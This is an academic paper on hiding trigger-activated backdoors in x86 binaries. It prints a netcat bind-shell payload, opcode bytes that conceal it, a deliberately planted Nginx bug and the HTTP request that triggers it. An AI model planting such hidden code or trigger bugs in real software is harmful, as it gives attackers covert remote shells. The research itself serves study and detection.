Instruction-Level Steganography for Covert Trigger-Based Malware
(Extended Abstract)

Dennis Andriesse and Herbert Bos

VU University Amsterdam, The Netherlands
{d.a.andriesse,h.j.bos}@vu.nl

Abstract. Trigger-based malware is designed to remain dormant and undetected unless a specific trigger occurs. Such behavior occurs in prevalent threats such as backdoors and environment-dependent (targeted) malware. Currently, trigger-based malicious code is often hidden in rarely exercised code paths in benign host binaries, and relies upon a lack of code inspection to remain undetected. However, recent advances in automatic backdoor detection make this approach unsustainable. We introduce a new code hiding approach for trigger-based malware, which conceals malicious code inside spurious code fragments in such a way that it is invisible to disassemblers and static backdoor detectors. Furthermore, we implement stealthy control transfers to the hidden code by crafting trigger-dependent bugs, which jump to the hidden code only if provided with the correct trigger. Thus, the hidden code also remains invisible under dynamic analysis if the correct trigger is unknown. We demonstrate the feasibility of our approach by crafting a hidden backdoor for the Nginx HTTP server module.

1 Introduction

Trigger-based malware is designed to execute only if a specific external stimulus (called a *trigger*) is present. Such behavior occurs in many prevalent and high-profile threats, including backdoors and targeted malware. Backdoors typically trigger upon reaching a certain moment in time, or when receiving a specially crafted network message. Targeted malware is commonly triggered by environment parameters, such that it executes only on machines matching a known target environment.

Typical code obfuscation techniques used by non-targeted malware are designed to impede analysis, but do not explicitly hide code from static and dynamic analysis [18,12,15]. This makes obfuscation unsuitable for use in stealthy targeted malware, which aims to stay undetected and dormant unless a specific trigger is provided. Similarly, environment-dependent code encryption techniques can be used to prevent the analysis of trigger-based code, but cannot hide its existence [14,16].

Current code hiding techniques for trigger-based malware are quite limited. For instance, recent backdoor incidents included malicious code which was hidden in rarely exercised code paths, but otherwise left in plain sight [2,3,6].

S. Dietrich (Ed.): DIMVA 2014, LNCS 8550, pp. 41–50, 2014.

An especially blatant backdoor was hidden in ProFTPD v1.3.3c in 2010. This backdoor performed an explicit check for a trigger string provided by an unauthenticated user, and opened a root shell if the correct string was provided [13]. Recent advances in automatic backdoor detection make such backdoors increasingly prone to discovery [13].

In this work, we show that it is possible to steganographically hide malicious trigger-based code on variable-length instruction set machines, such as the x86. The malicious code is embedded in a benign host program, and, in the absence of the correct trigger, is hidden from both static disassembly and dynamic execution tracing. This also defeats automatic trigger-based malware detection techniques which rely on these static and dynamic analysis primitives. The hidden code may be a backdoor, or implement trigger-based botnet behavior, similar to that found in the Gauss malware [7]. In addition, it is possible to hide kernel-level or user-level rootkits even from detectors outside the compromised environment.

Our technique hides malicious code at the binary level, by encoding it in unaligned instructions which are contained within a spurious instruction stream [10]. Analysis of the host program reveals only the spurious instructions, not the malicious instructions hidden within. We avoid direct code references to the hidden malicious code, by implementing stealthy control transfers using trigger-dependent bugs (*trigger bugs*). These bugs jump to the hidden code only if provided with the correct trigger. Furthermore, the jump address of a trigger bug is created from the trigger, and cannot be found (except by brute force) without prior knowledge of the trigger. Thus, the hidden code is not revealed during static or dynamic analysis if the trigger is absent. Trigger bugs derive their stealth from the complexity of automatic bug detection [9,17].

To the best of our knowledge, our work is the first to discuss code steganography for trigger-based malware. Our contributions are as follows.

1. We propose a novel technique for hiding malicious trigger-based code from both static and dynamic analysis.
2. Based on our method, we implement a semi-automated prototype tool for hiding a given fragment of malicious code in a host program.
3. We demonstrate the real-world feasibility of our technique by embedding a hidden backdoor in the Nginx 1.5.8 HTTP server module.
4. Current detection techniques for backdoors and other trigger-based code do not consider unaligned instruction sequences. Our work shows that any such detection technique can be circumvented.

2 Embedding Covert Trigger-Based Code Fragments

We implement our code hiding technique in a prototype tool for the x86 platform, which can semi-automatically hide a given malicious code fragment in a host program. This section describes our code hiding technique and prototype implementation using a running example. Our example consists of a hidden backdoor for the Nginx 1.5.8 HTTP server module, which is triggered when a specially crafted HTTP request is received. Section 2.1 explains how the backdoor code is

hidden, while Section 2.2 details the workings of the trigger bug which is used to transfer control to the hidden code. Note that the techniques discussed in these sections can also be used to create hidden targeted malware payloads, which are triggered by environment variables instead of externally induced events.

2.1 Generating Unaligned Instructions

Listing 1 shows the plaintext (not hidden) instructions of our backdoor. The backdoor prepares the command string "`nc -le/bin/sh -p1797`" on the stack, pushes a pointer to this string, and then calls `system` to execute the command. The command starts a netcat session which listens on TCP port 1797, and grants shell access to an attacker connecting on that port. We assemble the command string on the stack to avoid the need to embed it as a literal constant. In this section, we discuss how the instructions from Listing 1 are hidden inside spurious code by our tool, and then embedded in an Nginx 1.5.8 binary.

Listing 1. The plaintext Nginx backdoor instructions.

```
1 push 0x00000000    ; terminating NULL
2 push 0x37393731    ; 1797
3 push 0x702d2068    ; h -p
4 push 0x732f6e69    ; in/s
5 push 0x622f656c    ; le/b
6 push 0x2d20636e    ; nc -
7 push esp           ; pointer to cmd string
8 call system@plt    ; call system(cmd)
```

Table 1 shows how the backdoor from Listing 1 is hidden by our tool. The backdoor is split into multiple code fragments, numbered H1–H10. Our prototype uses a guided brute forcing approach to transform each malicious instruction into a code fragment. Randomly chosen prefix and suffix bytes are added to the malicious instruction bytes, until this results in a code fragment which meets the following requirements. (1) The code fragment disassembles into a spurious instruction stream which does not contain the hidden malicious instruction. (2) The spurious disassembly contains only common instructions, such as integer arithmetic and jump instructions. (3) If possible, these instructions must not use large immediate operands, as such operands are uncommon in normal code.

The hidden code typically contains 4× to 5× as many instructions as the original code. Due to the density of the x86 instruction set, our tool succeeds in finding suitable spurious instruction streams to hide most instructions. However, our current approach is not guaranteed to succeed, and sometimes requires manual effort to find alternatives for unconcealable instructions. Although this should not be a significant problem for determined attackers, future work may focus on further automating our methodology.

Table 1. The backdoor is split into multiple fragments (H1–H10) which are hidden in spurious instructions. The shaded opcode bytes make up the hidden instructions. Hidden instructions are not visible in a disassembler, and do not appear at runtime unless the correct trigger is present.

ID	Opcode bytes	Visible in disassembler	Hidden instructions	Comments
H1	68 00 00 00 00	push 0x0	push 0x0	Push terminating NULL
	04 01	add al,0x1	add al,0x1	Set flags for jcc in next fragment
	ff e0	jmp eax	jmp eax	Jump to next fragment
H2	7f 68	jg $+0x6a	push 0x37393731	Push "1797"
	31 37	xor [edi],esi	jz $+0x64	Never taken, masks cmp [edi],esi
	39 37	cmp [edi],esi	add al,0x88	Update jump destination in eax
	74 62	jz $+0x64	jmp ecx	Jump to next fragment
	04 88	add al,0x88		
	ff e1	jmp ecx		
H3	82 68 31 b1	sub byte [eax+0x31],0xb1	push 0x3739b131	Push bogus, fixed in next fragment
	39 37	cmp [edi],esi	jz $+0x35	Never taken, masks cmp [edi],esi
	74 33	jz $+0x35	jmp eax	Jump to next fragment
	ff e0	jmp eax		
H4	1c 81	sbb al,0x81	xor dword [esp],0x47149159	Xor bogus to "h -p"
	34 24	xor al,0x24	add cl,al	Update jump destination in ecx
	59	pop ecx	jmp ecx	Jump to next fragment
	91	xchg ecx,eax		
	14 47	adc al,0x47		
	00 c1	add cl,al		
	ff e1	jmp ecx		
H5	6b 00 68	imul eax,[eax],0x68	push 0x732f6e69	Push "in/s"
	69 6e 2f 73 92 ff e0	imul ebp,[esi+0x2f],0xe0ff9273	xchg edx,eax	Set new jump destination in eax
			jmp eax	Jump to next fragment
H6	01 6a 68	add [edx+0x68],ebp	push 0x377e3731	Push bogus, fixed in next fragment
	31 37	xor [edi],esi	add cl,al	Update jump destination in ecx
	7e 37	jle $+0x39	jmp ecx	Jump to next fragment
	00 c1	add cl,al		
	ff e1	jmp ecx		
H7	2c 81	sub al,0x81	xor dword [esp],0x5551525d	Xor bogus to "le/b"
	34 24	xor al,0x24	add al,0x75	Update jump destination in eax
	5d	pop ebp	jmp eax	Jump to next fragment
	52 51 55	push edx; push ecx; push ebp		
	04 75	add al,0x75		
	ff e0	jmp eax		
H8	81 68 6e 63 20 2d eb	sub dword [eax+0x6e],0xeb2d2063	push 0x2d20636e	Push "nc -"
	75 33	jnz $+0x35	jmp $+0x77	Jump to next fragment
H9	8d 68 54	lea ebp,[eax+0x54]	push esp	Push pointer to command
	05 64 27 00 00	add eax,0x00002764	add eax,0x00002764	Point eax to system call site
	ff e0	jmp eax	jmp eax	Jump directly to system call
H10	-	-	call system@plt	Execute backdoor command

Spurious code fragments are embedded in the host binary and protected by opaquely false predicates [4], so that they are never executed. Disassembly of the host binary shows the spurious instructions, but not the malicious code hidden within [10]. Disassemblers cannot reach the hidden code, since it exists at unaligned offsets inside the spurious code, and no control transfers exist to the hidden code (see Section 2.2). Note that it is necessary to generate many small code fragments instead of a single fragment, since x86 code is self-resynchronizing due to the Kruskal count [8].

Table 1 shows the opcode bytes of each code fragment, the spurious instructions as shown in a disassembler, and the malicious instructions hidden inside the spurious code. Shaded opcode bytes are part of the malicious code, while unshaded bytes are not. Note that in fragment H1, all opcode bytes are part of the malicious code; that is, no spurious opcode bytes are added. This is because we chose not to hide the instruction `push 0x0` encoded in fragment H1, as this instruction is not by itself suspicious.

The other fragments all contain one or more spurious code bytes which disassemble into bogus code, causing the backdoor instructions to remain hidden. For instance, fragment H5 disassembles into two `imul` instructions, while the hidden malicious instruction `push 0x732f6e69` is at an offset of two bytes into the spurious instructions. Note that the spurious code consists entirely of common instructions, such as integer arithmetic and jumps, to avoid attracting attention.

Some backdoor instructions contain immediate operands which do not decode into common instructions, thus preventing our tool from generating spurious code meeting all the requirements. Our tool solves this by modifying problematic immediates, and compensating for the modifications using additional instructions. For instance, the `push` on the third line in Listing 1 was split into a bogus `push` (H3), followed by an `xor` to fix the bogus value (H4).

The hidden instructions are chained together using jump instructions. The `eax`—`edx` registers are assumed to be set to known values in the function containing the trigger bug (see Section 2.2). Each fragment performs an indirect jump to the next fragment via one of these registers, updating the known value in the jump register as required to form the code address of the next fragment. Jump instructions are only hidden if this is needed for the creation of a spurious instruction stream; the jump instructions themselves are not considered sensitive. Fragment H8 contains an example of a (non-indirect) jump instruction that is hidden. By using indirect jumps through multiple registers, we ensure that an analyst cannot trace the connections between hidden code fragments, even if they are discovered, unless the expected jump register values are known.

2.2 Implementing Trigger Bugs

We use intentionally inserted bugs to implicitly transfer control to our malicious payloads. In our current implementation, these trigger bugs are manually created. The use of trigger bugs has several benefits. (1) Automatically detecting bugs is a hard problem [9,17], therefore, trigger bugs are stealthy. (2) Finding a trigger bug does not reveal the hidden code if the expected trigger is not known.

(3) Even if a bug is found, an analyst who does not know the correct trigger cannot prove that it was intentionally inserted.

Trigger bugs must adhere to the following properties. (1) Control must be transferred to the hidden code *only* if the correct trigger is provided. (2) The program should not crash on incorrect triggers, otherwise the presence of the trigger bug would be revealed.

Listing 2. The Nginx trigger bug, which uses an unitialized function pointer.

```
  1 ngx_int_t ngx_http_parse_header_line(/* ... */) {
  2   u_char     badc; /* last bad character */
  3   ngx_uint_t hash; /* hash of header, same size as pointer */
      /* ... */
260 }

262 void ngx_http_finalize_request(ngx_http_request_t *r, ngx_int_t rc) {
263   uint8_t have_err;                          /* overlaps badc */
264   void (*err_handler)(ngx_http_request_t *r); /* overlaps hash */
      /* ... */
293   if(r->err_handler) { /* never true */
294     have_err    = 1;
295     err_handler = r->err_handler;
296   }
      /* ... */
462   if(rc == NGX_HTTP_BAD_REQUEST && have_err == 1 && err_handler) {
463     err_handler(r); /* points to hidden code, set by trigger */
464   }
465 }

467 void ngx_http_process_request_headers(/* ... */) {
468   rc = ngx_http_parse_header_line(/* ... */);
      /* ... */
572   ngx_http_finalize_request(r, NGX_HTTP_BAD_REQUEST); /* bad header */
573 }
```

Listing 2 shows our example Nginx trigger bug, which satisfies the above properties. The line numbers in the listing differ from those in the actual Nginx code, and are only meant to provide an indication of the size of each function. For brevity of the example, we omitted all code lines that do not contribute to the trigger bug. In reality, the functions implementing the trigger bug are split over two source files and each contain several hundred lines of code. Note that this bug is implemented at the source level, while the hidden code from Section 2.1 is generated at the binary level.

Our Nginx trigger bug is based on the use of an uninitialized stack variable, a common type of bug in C/C++ [1]. Our bug uses non-cryptographic integer hashes, which Nginx computes over all received HTTP header lines, to covertly set a function pointer. These hashes are computed in the `parse_header_line` function, shown in Listing 2, and are stored in a stack variable. In the event that a bad header is received, `finalize_request` is the next called function after `parse_header_line` returns. Note that the stack frame of `finalize_request` overlaps with the stack frame of `parse_header_line`. Thus, we craft a new function pointer, called `err_handler`, such that it exactly overlaps on the stack with the `hash` variable. We intentionally neglect to initialize `err_handler`, so that it retains the hash value previously stored on the stack. As we will show later, it is possible to craft a special HTTP header line so that the hash computation points `err_handler` to the beginning of our hidden malicious code.

To prevent accidental execution of `err_handler`, we add a guard variable, which is also left uninitialized. This guard variable is called `have_err`, and overlaps on the stack with the `badc` variable from the `parse_header_line` function. The `badc` variable is set to the first invalid character encountered in an HTTP request. Checking that the guard is equal to 1 before calling `err_handler` makes it very unlikely that `err_handler` will be executed accidentally, since no normal HTTP header contains a byte with the value 1. Before calling `err_handler`, the `finalize_request` function appears to initialize it by copying an identically named field from a struct. However, this initialization never actually happens, since we ensure that this struct field is set to `NULL`, causing the condition for the copy to be false and `err_handler` to remain uninitialized.

Listing 3. A trigger HTTP request for the Nginx backdoor.

```
GET / HTTP/1.1
Host: www.victim.org
Hthnb\x01
```

Listing 3 shows an HTTP request that activates the trigger bug. The HTTP request contains a header line with the contents `Hthnb`, followed by a byte equal to 1. The `Hthnb` header hashes to a valid code address, where we place the first hidden code fragment. Thus, `err_handler` is set to point to the hidden code fragment, as it overlaps with the `hash` variable. The invalid header byte which is equal to 1 causes `badc`, and thus `have_err`, to be set to 1, so that the condition for executing `err_handler` is true, and the hidden code is started.

In our Nginx example, the `err_handler` function pointer overlaps completely with the trigger variable, `hash`. This is possible because we can craft a header line which hashes to a valid code address. For some triggers, such as environment parameters, this may not be possible. Our example trigger bug can be generalized to such cases by first initializing the function pointer to a valid code address, and then allowing the trigger to overflow only the least significant bytes of the function pointer.

Furthermore, trigger bugs with fixed target addresses cannot be used on executables with ASLR-enabled load addresses. In such cases, the target address must be computed relative to a legitimate code pointer with a known correct address. For instance, this can be accomplished through arithmetic operations on an uninitialized variable which overlaps with a memory location containing a previously loaded function pointer.

Finally, we note that trigger bugs do not necessarily have to be based on uninitialized variables. In general, any bug which can influence control flow is potentially usable as a trigger bug.

3 Discussion and Limitations

Current detection techniques for trigger-based malicious code do not consider unaligned code paths. Our work circumvents any such detection technique, assuming that the expected trigger is not present at analysis-time. In this section, we discuss alternative detection methods for code hidden using our technique.

Although the spurious instruction streams emitted by our code hiding tool consist only of common instructions, it is still possible to determine that the spurious instructions perform no useful function. Additionally, the opaque predicates we use to prevent execution of spurious code may be detectable, depending on the kind of predicates used [5]. However, the mere presence of seemingly spurious code is not enough to prove the existence of the malicious code. This is because the malicious code is split into multiple fragments, connected by indirect jumps. It is not possible for an analyst to trace the connections between the fragments without knowing the expected (trigger-derived) values for the jump registers. Future work may focus on generating more semantically sound spurious instruction streams.

Another possible approach to detect the presence of the malicious code is to scan for instructions at all possible unaligned code offsets. This only works if the hidden code contains literal operands which encode suspicious values, such as a string with the value "`/bin/sh`". As shown in Section 2.1, such literal operands can be avoided by transforming them to bogus values, and then fixing these values in later fragments. The presence of valid instructions at unaligned offsets is very common in x86 code, and is therefore not in itself suspicious [10].

A related approach is to search for spurious code by performing a liveness analysis to identify dead code. In general, such detection approaches are unreliable, as binaries commonly contain large amounts of rarely reached code, such as exception handlers. Current multipath exploration techniques leave large amounts of code unexplored [11].

In some cases, it may be possible to find trigger bugs using automatic bug detection techniques. For instance, the example trigger bug from Section 2.2 can be detected by fuzzing HTTP requests which contain bytes with the value 1. However, bug detection in general is still too unreliable to be used as a generic detection method for trigger bugs [9,17].

4 Related Work

Generic malware typically uses code obfuscation techniques like control-flow-flattening [18], executable packing [12], code virtualization [15], or code encryption [14,16] to impede analysis. In contrast to these techniques, our work focuses on hiding the presence of malicious code, rather than impeding its analysis.

Kernel rootkits commonly hide malicious code by subverting detection software [20]. In contrast to our work, this approach cannot hide code from detectors outside of the compromised environment.

Another approach to implement stealthy malware was proposed by Wang et al., who introduce vulnerabilities in benign binaries, which can be exploited later to introduce malicious code [19]. The malicious code must be sent over the network, making it prone to interception by intrusion detection systems and unusable in attacks where air gaps must be crossed. Our work does not have this restriction, as we embed the malicious instructions directly in the host binary.

5 Conclusion and Future Work

We have introduced a new technique for embedding covert trigger-based malicious code in benign binaries, and implementing stealthy control transfers to this code. Furthermore, we have demonstrated the feasibility of our approach by implementing a hidden backdoor for Nginx 1.5.8. We discussed a semi-automated procedure for transforming a given instruction stream into hidden code. Our work shows that current detection techniques for trigger-based malicious code, which do not explore unaligned code paths, can be circumvented. Although our procedure currently requires the manual creation of trigger bugs, we do not believe this to be a significant constraint for determined attackers. Future work may determine if it is possible to automatically generate stealthy trigger bugs given a set of externally derived triggers. Additional directions for future work are to improve the semantic soundness of the generated spurious code, and reduce the degree of manual guidance needed by the code generator.

Acknowledgements. We thank the anonymous reviewers for their constructive feedback, which will help improve future extensions of this work. This work was supported by the European Research Council Starting Grant “Rosetta”, and by the European Commission EU FP7-ICT-257007 SysSec project.

References

1. CWE-457: Use of Uninitialized Variable. Vulnerability description, `http://cwe.mitre.org/data/definitions/457.html`
2. ProFTPD Backdoor (2010), `http://www.securityfocus.com/bid/45150`
3. Horde Groupware Trojan Horse (2012), `http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-0209`

4. Collberg, C., Thomborson, C., Low, D.: Manufacturing Cheap, Resilient, and Stealthy Opaque Constructs. In: Proceedings of the 25th ACM Symposium on Principles of Programming Languages (PoPL 1998) (1998)
5. Preda, M.D., Madou, M., De Bosschere, K., Giacobazzi, R.: Opaque Predicates Detection by Abstract Interpretation. In: Johnson, M., Vene, V. (eds.) AMAST 2006. LNCS, vol. 4019, pp. 81–95. Springer, Heidelberg (2006)
6. ESET Security. Linux/SSHDoor: A Backdoored SSH Daemon That Steals Passwords (2013), http://www.welivesecurity.com/2013/01/24/linux-sshdoor-a-backdoored-ssh-daemon-that-steals-passwords/
7. Kaspersky Lab Global Research and Analysis Team. Gauss: Abnormal Distribution, Technical report, Kaspersky Lab (2012)
8. Lagarias, J.C., Rains, E., Vanderbei, R.J.: The Kruskal Count. In: The Mathematics of Preference, Choice and Order. Springer-Verlag (2009)
9. Larochelle, D., Evans, D.: Statically Detecting Likely Buffer Overflow Vulnerabilities. In: Proceedings of the 10th USENIX Security Symposium (USENIX Sec 2001) (2001)
10. Linn, C., Debray, S.: Obfuscation of Executable Code to Improve Resistance to Static Disassembly. In: Proceedings of the 10th ACM Conference on Computer and Communications Security (CCS 2003) (2003)
11. Moser, A., Kruegel, C., Kirda, E.: Exploring multiple execution paths for malware analysis. In: Proceedings of the 28th IEEE Symposium on Security and Privacy (S&P 2007) (2007)
12. Roundy, K.A., Miller, B.P.: Binary-Code Obfuscations in Prevalent Packer Tools. ACM Computing Surveys (2012)
13. Schuster, F., Holz, T.: Towards Reducing the Attack Surface of Software Backdoors. In: Proceedings of the 2013 ACM SIGSAC conference on Computer & Communications Security (CCS 2013) (2013)
14. Sharif, M., Lanzi, A., Giffin, J., Lee, W.: Impeding Malware Analysis Using Conditional Code Obfuscation. In: Proceedings of the 16th Network and Distributed System Security Symposium (NDSS 2008) (2008)
15. Sharif, M., Lanzi, A., Giffin, J., Lee, W.: Automatic Reverse Engineering of Malware Emulators. In: Proceedings of the 30th IEEE Symposium on Security and Privacy (S&P 2009) (2009)
16. Song, C., Royal, P., Lee, W.: Impeding Automated Malware Analysis with Environment-Sensitive Malware. In: the 7th USENIX Workshop on Hot Topics in Security (HotSec 2012) (2012)
17. van der Veen, V., dutt-Sharma, N., Cavallaro, L., Bos, H.: Memory Errors: The Past, the Present, and the Future. In: Balzarotti, D., Stolfo, S.J., Cova, M. (eds.) RAID 2012. LNCS, vol. 7462, pp. 86–106. Springer, Heidelberg (2012)
18. Wang, C.: A Security Architecture for Survivability Mechanisms. PhD thesis, University of Virginia (2001)
19. Wang, T., Lu, K., Lu, L., Chung, S., Lee, W.: Jekyll on iOS: When Benign Apps Become Evil. In: Proceedings of the 22nd USENIX Security Symposium (USENIX Sec 2013) (2013)
20. Wilhelm, J., Chiueh, T.-c.: A Forced Sampled Execution Approach to Kernel Rootkit Identification. In: Kruegel, C., Lippmann, R., Clark, A. (eds.) RAID 2007. LNCS, vol. 4637, pp. 219–235. Springer, Heidelberg (2007)